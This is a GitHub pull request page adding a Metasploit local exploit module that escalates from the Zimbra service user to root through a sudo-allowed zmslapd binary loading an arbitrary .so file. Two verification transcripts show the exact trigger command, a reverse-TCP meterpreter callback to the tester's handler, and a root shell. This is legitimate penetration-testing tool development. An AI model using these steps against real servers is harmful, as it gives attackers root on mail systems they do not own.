

New issue

[Jump to bottom](#)

New module for 0-day Zimbra privilege escalation ("slapper") #16807

Merged

bwatters-r7 merged 11 commits into [rapid7:master](#) from [rbowes-r7:zimbra-slapper-privesc](#) on Aug 9

Conversation 10 Commits 11 Checks 20 Files changed 2



rbowes-r7 commented on Jul 21 • edited ▾

Contributor

This adds a local exploit for Zimbra, to go from the `zimbra` user to `root` by using a sudo-able executable that can load an arbitrary `.so` file. This was [publicly disclosed in October of 2021](#), but I'm not sure that anybody reported it to Zimbra. (I reported it today, have not heard back yet)

Note that this is branched off of [#16796](#) since it goes with that module (and is what I'm using for testing) - I'm happy to re-base if that's a problem!

Verification

Install Zimbra (sorry) on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then [CVE-2022-30333](#) to exploit, but this will work on a fully patched system as well. Then...

```
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
```

Active sessions

=====

Id	Name	Type	Information	Connection
10		meterpreter	x86/linux zimbra @ zimbra.example.org	10.0.0.146:4444 -> 10.0.0.154:39800 (10.0.0.154)

```
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > use
exploit/linux/local/zimbra_slapper_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 10
```

SESSION => 10

```
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit
```

```
[*] Started reverse TCP handler on 10.0.0.146:4444
```

```
[*] Running automatic check ("set AutoCheck false" to disable)
```

```
[*] Executing: sudo -n -l
```

```
[+] The target is vulnerable.
```

```
[*] Creating exploit directory: /tmp/.5kq9X0
```

```
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.5kq9X0/.1wNk1h3
```

```
[*] Sending stage (3020772 bytes) to 10.0.0.154
```

```
[+] Deleted /tmp/.5kq9X0
```

```
[*] Meterpreter session 13 opened (10.0.0.146:4444 -> 10.0.0.154:40044) at 2022-07-21 14:04:12 -0700
```

```
meterpreter > getuid
```

```
Server username: root
```

h00die commented on Jul 21

Contributor

<https://www.youtube.com/watch?v=qPr-xsQvhgw>



2



gwillcox-r7 added **module** **needs-docs** labels on Jul 21

github-actions **bot** commented on Jul 21

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

- [Writing Module Documentation](#)
- [Template](#)
- [Examples](#)



gwillcox-r7 added **docs** and removed **needs-docs** labels on Jul 27



bwatters-r7 self-assigned this on Aug 1

bwatters-r7 commented on Aug 2 • edited ▾

Contributor

EDIT: Copy/Pasta fail...

This PR shares code and has dependencies from [#16796](#) and should be landed after it.

 **bwatters-r7** reviewed on Aug 4

[View changes](#)

modules/exploits/linux/local/zimbra_slapper_priv_esc.rb

Outdated

 Show resolved

 **bwatters-r7** reviewed on Aug 4
























[View changes](#)


modules/exploits/linux/local/zimbra_slapper_priv_esc.rb

Outdated

 Show resolved

 **rbowes-r7** added 11 commits 4 months ago

-   Add zimbra_slapper_priv_esc module (privilege escalation in Zimbra, c... [...](#) [bba4a23](#)
-   Make lint happy [0fd61e8](#)
-   Cleanups [5e1888e](#)
-   Small cleanup [cc27f56](#)
-   Add a note that IOCs show up in logs [6e8d04d](#)
-   Add documentation [be25e1f](#)
-   Remove the commented-out CVE, it's making lint sad [ea58148](#)
-   Add a CVE and better description [caff6a5](#)
-   Typo / compile error [2cde5f6](#)
-   Change Vulnerable to Appears [6564ea9](#)
-   Capture the command output [5d7fb28](#) 

  **bwatters-r7** force-pushed the zimbra-slapper-privesc branch from [dae8ca2](#) to [5d7fb28](#) 4 months ago

[Compare](#)

  **bwatters-r7** assigned [cdelafuente-r7](#) on Aug 9

I just tested against Zimbra Collaboration 8.8.15 Patch 31 on Ubuntu 18.04 and it works great! I used CVE-2022-30333 - path traversal vulnerability in UnRAR [module](#) to get a session first.

- Exemple output

```
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > sessions
```

Active sessions

=====

Id	Name	Type	Information	Connection
--	----	----	-----	-----
1		meterpreter	x64/linux zimbra @ mail.donotexistdomain.foo	10.0.0.1:4444 -> 10.0.0.22:38822 (10.0.0.22)

```
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > use
```

```
exploit/linux/local/zimbra_slapper_priv_esc
```

```
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
```

```
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit verbose=true lhost=10.0.0.1 SESSION=1
```

```
[*] Started reverse TCP handler on 10.0.0.1:4444
```

```
[*] Running automatic check ("set AutoCheck false" to disable)
```

```
[*] Executing: sudo -n -l
```

```
[+] The target appears to be vulnerable.
```

```
[*] Creating exploit directory: /tmp/.ng58U2
```

```
[*] Creating directory /tmp/.ng58U2
```

```
[*] /tmp/.ng58U2 created
```

```
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.ng58U2/.SD4X0GB
```

```
[*] Transmitting intermediate stager...(126 bytes)
```

```
[*] Sending stage (3020772 bytes) to 10.0.0.1
```

```
[+] Deleted /tmp/.ng58U2
```

```
[*] Meterpreter session 2 opened (10.0.0.1:4444 -> 10.0.0.1:58877) at 2022-08-09 18:03:06 +0200
```

```
meterpreter >
```

```
meterpreter > sysinfo
```

```
Computer      : mail.donotexistdomain.foo
```

```
OS            : Ubuntu 18.04 (Linux 5.4.0-122-generic)
```

```
Architecture : x64
```

```
BuildTuple    : x86_64-linux-musl
```

```
Meterpreter   : x64/linux
```

```
meterpreter > getuid
```

```
Server username: root
```



bwatters-r7 commented on Aug 9

Contributor

Release Notes

This PR adds a local exploit for Zimbra to go from the zimbra user to root by using a sudo-able executable that can load an arbitrary .so file.

  jmartin-r7 added the **rn-modules** label on Aug 11

fevar54 commented on Aug 16

you have resulting indicators of compromise to your test...
Thank you

Reviewers

 bwatters-r7



Assignees

 bwatters-r7

 cdela Fuente-r7

Labels

docs **module** **rn-modules**

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

7 participants

